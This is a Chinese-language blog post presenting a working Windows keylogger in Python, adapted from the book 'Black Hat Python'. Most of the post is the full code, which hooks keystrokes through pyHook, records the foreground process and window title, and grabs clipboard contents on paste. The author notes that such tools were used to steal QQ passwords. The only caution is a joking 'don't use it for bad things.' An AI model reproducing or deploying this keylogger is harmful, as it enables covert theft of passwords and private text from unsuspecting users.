Windows鍵盤嗅探器
今天,閒的無聊,於是做了一個簡單的鍵盤嗅探器,主要代碼來源於《Python黑帽子》,不得不說,這本書寫的特別好,帶我進入了黑客的編程世界。以前學習編程,只知道常用的功能,不知道怎麼入門網絡安全方面,當然嗎,現在還沒有。。。
鍵盤記錄是一個古老的技術,可以捕捉你在鍵盤上打的字符,從而知道你的隱私信息,以前QQ密碼常用的盜竊就是這樣實現的,當然了,一山更比一山高,現在最新版的QQ不能獲取了,我試探的時候,QQ客戶端會隨機產生字母出來,完全無法捕捉。
不管了,我們先來看看如何獲取鍵盤的信息,我們需要安裝PyHook庫,這個庫封裝了Windows函數SetWindowsHookEx,簡稱鉤子函數,這個函數允許我們安裝自定義的鉤子函數,當特定的WIndows事件發生,這個鉤子函數就會被調用,從而獲得按鍵消息。
我們看代碼:
#coding:utf-8
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
#獲得前臺句柄
hwnd = user32.GetForegroundWindow()
#獲得進程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
process_id = '%d' % pid.value
executable = create_string_buffer('\x00'*512)
h_process = kernel32.OpenProcess(0x400|0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#讀取窗口標題
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title),512)
print
print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
print
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
####################################
##########鉤子核心代碼###############
def KeyStroke(event):
global current_window
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# if they pressed a standard key
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
####如果輸入的[Ctrl+V],則獲得剪貼板內容
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE] - %s" % (pasted_value),
else:
print "[%s]" % event.Key,
return True
###############鉤子管理#######
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
kl.HookKeyboard()
pythoncom.PumpMessages()
最後運行,就可以獲得敲鍵盤的所以信息了,不要用它幹壞事哦!!!